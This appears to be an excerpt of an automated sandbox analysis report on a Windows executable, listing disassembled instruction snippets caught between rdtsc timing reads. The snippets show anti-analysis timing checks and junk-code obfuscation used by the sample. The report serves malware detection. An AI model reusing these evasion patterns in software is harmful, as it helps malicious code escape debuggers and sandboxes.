Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113849F second address: 11384C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 jmp 00007F4414D31C36h 0x0000000a jno 00007F4414D31C26h 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113EC86 second address: 113EC8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113F258 second address: 113F270 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4414D31C2Dh 0x00000009 ja 00007F4414D31C26h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113F270 second address: 113F276 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AADBC second address: 10AADC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11423FA second address: 1142404 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F441484CE76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11484E7 second address: 11484F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4414D31C2Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11484F9 second address: 1148515 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 js 00007F441484CE76h 0x00000009 jng 00007F441484CE76h 0x0000000f pop edi 0x00000010 pop edx 0x00000011 pop eax 0x00000012 jng 00007F441484CE8Ah 0x00000018 push eax 0x00000019 push edx 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1146F74 second address: 1146F7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11470A3 second address: 11470A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11470A9 second address: 11470AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11470AD second address: 11470BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007F441484CE76h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11470BF second address: 11470E3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pushad 0x0000000b popad 0x0000000c pop esi 0x0000000d push ecx 0x0000000e jnc 00007F4414D31C26h 0x00000014 jmp 00007F4414D31C2Fh 0x00000019 pop ecx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11473A9 second address: 11473AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11474D2 second address: 11474DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11474DD second address: 11474F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F441484CE85h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11474F6 second address: 11474FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE54F second address: 10EE553 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE553 second address: 10EE5A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a jo 00007F4414D31C28h 0x00000010 mov ecx, ebx 0x00000012 jno 00007F4414D31C27h 0x00000018 push 00000004h 0x0000001a push 00000000h 0x0000001c push ebp 0x0000001d call 00007F4414D31C28h 0x00000022 pop ebp 0x00000023 mov dword ptr [esp+04h], ebp 0x00000027 add dword ptr [esp+04h], 0000001Ah 0x0000002f inc ebp 0x00000030 push ebp 0x00000031 ret 0x00000032 pop ebp 0x00000033 ret 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F4414D31C2Dh 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114EA15 second address: 114EA26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F441484CE76h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114EA26 second address: 114EA46 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4414D31C26h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F4414D31C2Fh 0x00000011 popad 0x00000012 pushad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114ED3C second address: 114ED42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114ED42 second address: 114ED6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F4414D31C2Ch 0x0000000a jmp 00007F4414D31C31h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 push edi 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114ED6D second address: 114ED79 instructions: 0x00000000 rdtsc 0x00000002 je 00007F441484CE76h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F89D second address: 114F8A3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114FB2F second address: 114FB38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push edi 0x00000007 pop edi 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114FB38 second address: 114FB56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4414D31C34h 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007F4414D31C26h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114FE01 second address: 114FE06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1150617 second address: 115061B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115061B second address: 115061F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A04A second address: 115A05A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jng 00007F4414D31C26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159956 second address: 115995C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115995C second address: 1159962 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159B98 second address: 1159B9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115B5A1 second address: 115B5A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115B5A7 second address: 115B5AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115B5AB second address: 115B5AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1162F45 second address: 1162F67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F441484CE86h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1162F67 second address: 1162F7D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4414D31C2Eh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jl 00007F4414D31C26h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11630CB second address: 11630DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F441484CE7Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11630DB second address: 11630E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11630E0 second address: 11630EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F441484CE76h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11630EC second address: 11630F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11630F7 second address: 11630FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11630FD second address: 1163101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1163101 second address: 1163105 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1163971 second address: 11639D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F4414D31C26h 0x0000000a pushad 0x0000000b jmp 00007F4414D31C2Eh 0x00000010 push eax 0x00000011 pop eax 0x00000012 jmp 00007F4414D31C33h 0x00000017 popad 0x00000018 jmp 00007F4414D31C35h 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 push ecx 0x00000022 pop ecx 0x00000023 jmp 00007F4414D31C33h 0x00000028 pushad 0x00000029 popad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1163B6B second address: 1163B74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1163B74 second address: 1163B78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A935 second address: 116A947 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F441484CE7Ch 0x00000008 jnl 00007F441484CE76h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A947 second address: 116A94D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A65D second address: 116A661 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A661 second address: 116A66D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A66D second address: 116A671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A671 second address: 116A685 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4414D31C30h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170DD0 second address: 1170DD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170DD5 second address: 1170DDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170DDB second address: 1170DDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170DDF second address: 1170DE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170DE3 second address: 1170E03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F441484CE78h 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jl 00007F441484CE8Fh 0x00000016 jl 00007F441484CE7Eh 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117A699 second address: 117A6B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4414D31C34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117A2AB second address: 117A2BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 push edi 0x0000000a pop edi 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e push ebx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11841B0 second address: 11841BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11841BC second address: 11841CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push esi 0x00000006 push eax 0x00000007 pop eax 0x00000008 pop esi 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B44D second address: 118B451 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118F733 second address: 118F73B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191D15 second address: 1191D23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F4414D31C26h 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191D23 second address: 1191D45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F441484CE76h 0x0000000a jmp 00007F441484CE87h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119428A second address: 11942A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4414D31C34h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199DBC second address: 1199DEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F441484CE85h 0x00000009 push eax 0x0000000a pop eax 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d popad 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 jmp 00007F441484CE81h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199DEF second address: 1199E1C instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4414D31C44h 0x00000008 jmp 00007F4414D31C38h 0x0000000d jp 00007F4414D31C26h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199E1C second address: 1199E20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119882B second address: 1198852 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 je 00007F4414D31C28h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F4414D31C35h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1198DAB second address: 1198DB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1198DB0 second address: 1198DBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F4414D31C26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119912F second address: 119915D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F441484CE85h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F441484CE7Bh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119915D second address: 1199163 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199163 second address: 1199175 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c jo 00007F441484CE76h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199175 second address: 119917F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4414D31C26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A6B74 second address: 11A6B78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A6B78 second address: 11A6B91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F4414D31C33h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A6B91 second address: 11A6B99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A6B99 second address: 11A6BDA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4414D31C36h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c js 00007F4414D31C26h 0x00000012 push esi 0x00000013 pop esi 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 jmp 00007F4414D31C2Ah 0x0000001d push edx 0x0000001e push ecx 0x0000001f pop ecx 0x00000020 push ecx 0x00000021 pop ecx 0x00000022 pop edx 0x00000023 je 00007F4414D31C2Eh 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A69D2 second address: 11A69FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F441484CE88h 0x0000000a popad 0x0000000b js 00007F441484CEA6h 0x00000011 push eax 0x00000012 push edx 0x00000013 jc 00007F441484CE76h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A69FE second address: 11A6A02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE5E8 second address: 11AE5EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0FE7 second address: 11D0FEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0FEB second address: 11D0FF1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D12A3 second address: 11D12AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F4414D31C26h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D13EA second address: 11D13EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D13EF second address: 11D1407 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F4414D31C30h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D4906 second address: 11D4910 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F441484CE7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D4910 second address: 11D4925 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4414D31C2Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D4925 second address: 11D4929 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D4929 second address: 11D492F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
